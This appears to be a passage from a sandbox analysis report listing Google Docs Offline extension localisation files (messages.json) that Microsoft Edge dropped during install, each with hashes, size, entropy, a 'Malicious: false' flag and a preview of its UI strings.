SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\vi\messages.json

Download File

